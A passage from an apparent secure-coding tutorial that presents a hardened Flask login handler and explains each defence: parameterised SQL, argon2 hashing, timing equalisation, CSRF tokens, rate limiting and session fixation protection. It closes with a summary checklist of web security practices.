    if not email or not password:
        return "invalid credentials", 401                    # FIX 2: generic message

    # FIX 1: parameterised query — sqlite3 driver does the escaping
    row = DB.execute(
        "SELECT id, password FROM users WHERE email = ?",
        (email,),
    ).fetchone()

    if row is None:
        # Equalise timing — consume the same ~250ms argon2 path as a real user
        try:
            ph.verify(_DUMMY_HASH, password)
        except (VerifyMismatchError, VerifyError):
            pass
        return "invalid credentials", 401                    # FIX 2: same message as below

    user_id, stored_hash = row

    try:
        ph.verify(stored_hash, password)
    except (VerifyMismatchError, VerifyError):
        return "invalid credentials", 401                    # FIX 2: same message as above

    # Transparent rehash on cost-factor changes
    if ph.check_needs_rehash(stored_hash):
        new_hash = ph.hash(password)
        DB.execute("UPDATE users SET password = ? WHERE id = ?", (new_hash, user_id))
        DB.commit()

    session.clear()                                          # session fixation defence
    session["user_id"] = user_id
    return "ok"


# In the template that renders the login form:
#   <form method="POST" action="/login">
#     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
#     <input name="email" type="email" required>
#     <input name="password" type="password" required>
#     <button type="submit">Sign in</button>
#   </form>
+ setup added so this can run · defines
import os  # noqa: F401
os.environ.setdefault("FLASK_SECRET", "example-flask-secret")

What changed and why:

FixDefends against
Parameterised query (? + tuple)SQL injection — driver escapes
argon2 verify (not ==)Plaintext passwords, timing attacks (verify is constant-time inside)
Single generic "invalid credentials"Account enumeration via differentiated errors
_DUMMY_HASH on missing-user pathEnumeration via response-time difference
CSRFProtect(app) + token in formCSRF on cookie-auth POST
@limiter.limit("5 per minute")Brute-force password attempts
session.clear() before writeSession fixation
HttpOnly, Secure, SameSite cookie flagsXSS exfiltration, downgrade, cross-site cookie attachment
ph.check_needs_rehash on successCost-factor drift over years
Env-driven secret_keyHardcoded secrets in git history

Notice the layering: no single fix would be enough. Parameterising SQL while leaking enumeration is still a phishing-list generator. Adding rate limit without fixing the SQL injection still means one cleverly-crafted request bypasses everything. The defences compound — each cuts one attack class — and security comes from the union.

What's still missing for full production-grade:

  • MFA for high-value accounts.
  • Login-anomaly detection (new device, new location → email the user).
  • Password breach check — Have I Been Pwned's k-anonymity API blocks signups using known-leaked passwords.
  • Lockout policy for repeated failures from the same account across IPs.
  • Logging — every success and failure to your auth log; nothing to STDOUT containing passwords.

But the diff above is the realistic from-broken-to-defensible pass. Run it as a code review checklist on any login handler you inherit.


What You Learned

  • Parameterise queries. Never concatenate user input into SQL or shell commands. shell=True + user input is RCE.
  • One generic error on auth failures, with timing equalised via dummy hash. Don't enumerate accounts.
  • HTTPS + HSTS + Secure cookies. Encrypt at-rest the fields that need it (cryptography.Fernet).
  • defusedxml for any XML from untrusted sources; never raw xml.etree.
  • Scope every query by current user. IDOR is the most common access-control bug. Return 404, not 403, to avoid leaking existence.
  • No DEBUG=True in production. Werkzeug/Django debug pages are remote shells.
  • Auto-escape templates; |safe only on already-sanitised HTML. Never eval() user input. CSP as defence-in-depth.
  • Never pickle.load untrusted data — arbitrary code execution. JSON or Pydantic.
  • pip-audit in CI, automatic dependency updates via Dependabot/Renovate.
  • Log auth events; never log passwords or tokens. Have an incident response plan.
  • CSRF tokens for cookie-auth forms. Bearer-token APIs don't need CSRF but need other defences.
  • Rate limit login, signup, password reset, anything expensive — flask-limiter, slowapi, django-ratelimit.
  • Security headers: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Set with flask-talisman or equivalent. Check via Mozilla Observatory.
  • Validate at boundaries with Pydantic/forms. Server-side only — client validation is for UX.
  • Secrets in a manager, not the repo. Locally .env, in production AWS Secrets Manager / Vault / GCP Secret Manager.

That closes the Auth & Security path. The pattern across all four lessons: defence-in-depth. Hashing without rate-limiting still loses to a patient attacker. Rate-limiting without CSRF still loses to a logged-in user clicking a link on evil.com. Each layer cuts one attack class; security is the union.

Next path: continue with the deeper databases coverage, or the devops-github-actions lessons that automate the security tooling (pip-audit, secret scanning, Dependabot) into your CI pipeline so the checks above run on every PR — not just when you remember to.